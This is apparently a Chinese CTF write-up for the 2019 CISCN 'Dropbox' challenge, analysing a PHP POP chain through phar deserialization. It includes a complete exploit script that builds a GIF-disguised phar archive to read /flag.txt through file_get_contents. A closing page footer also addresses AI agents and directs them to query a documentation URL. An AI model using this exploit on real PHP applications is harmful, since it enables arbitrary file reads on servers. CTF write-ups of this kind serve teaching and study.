# \[华北赛区]Dropbox

注册登录，有个网盘管理功能，直接在POST区域提交文件名，于是利用文件名读取网站文件。

重点在class.php，定义了三个类User、FileList、File，User与数据库交互，FileList和File用来显示和下载文件。

其中这里有个\_\_call方法：

```
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
```

在不存在方法时被调用，这里似乎提供了构造POP链进行反序列化的思路，看一下是否有什么读取文件的利用点。

```
    public function close() {
        return file_get_contents($this->filename);
    }
```

File类中存在close()方法，可以返回读取文件的内容。巧合的是在User类中有调用同名方法，在\_\_destruct()中关闭数据库连接：

```
    public function __destruct() {
        $this->db->close();
    }
```

整个链构造比较简单，在User类中触发\_\_destruct()，调用FileList的close()方法，由于FileList不存在close()方法，进而调用FileList的\_\_call()方法，调用FileList类中$files中的方法$file->close()，进而触发读取文件file\_get\_contents()。

剩下的就是找到反序列化点，这里没有任何能直接传入反序列化字符串的点，但是有文件上传功能，于是考虑phar反序列化。在delete.php（download.php中也有）

```
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
```

在调用open函数时，调用了file\_exists，该函数可以触发phar伪协议进行反序列化，尽管没有进入if语句，但是仍然是触发了。

exp（写的比较乱）：

```
<?php

class User
{
    public $db;

    public function __construct($db)
    {
        $this->db = $db;
    }

    public function __destruct()
    {
        $this->db->close();
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct($files)
    {
        $this->files = array($files);
        $this->results = array();
        $this->funcs = array();
    }

    public function __call($func, $args)
    {
        array_push($this->funcs, $func); // $this->funcs = array('close')
        foreach ($this->files as $file) { // $this->file = ($file)
            $this->results[$file->name()][$func] = $file->$func(); // $file->close()
        }
    }
}

class File
{
    public $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;
    }

    public function name()
    {
        return basename($this->filename);
    }

    public function close()
    {
        return file_get_contents($this->filename);
    }
}

$file = new File('/flag.txt');
$list = new FileList($file);
$user = new User($list);

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');   //设置stub，增加gif文件头
$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
$phar->setMetadata($user);  //将自定义meta-data存入manifest
$phar->stopBuffering();
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-bei-sai-qu-dropbox.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
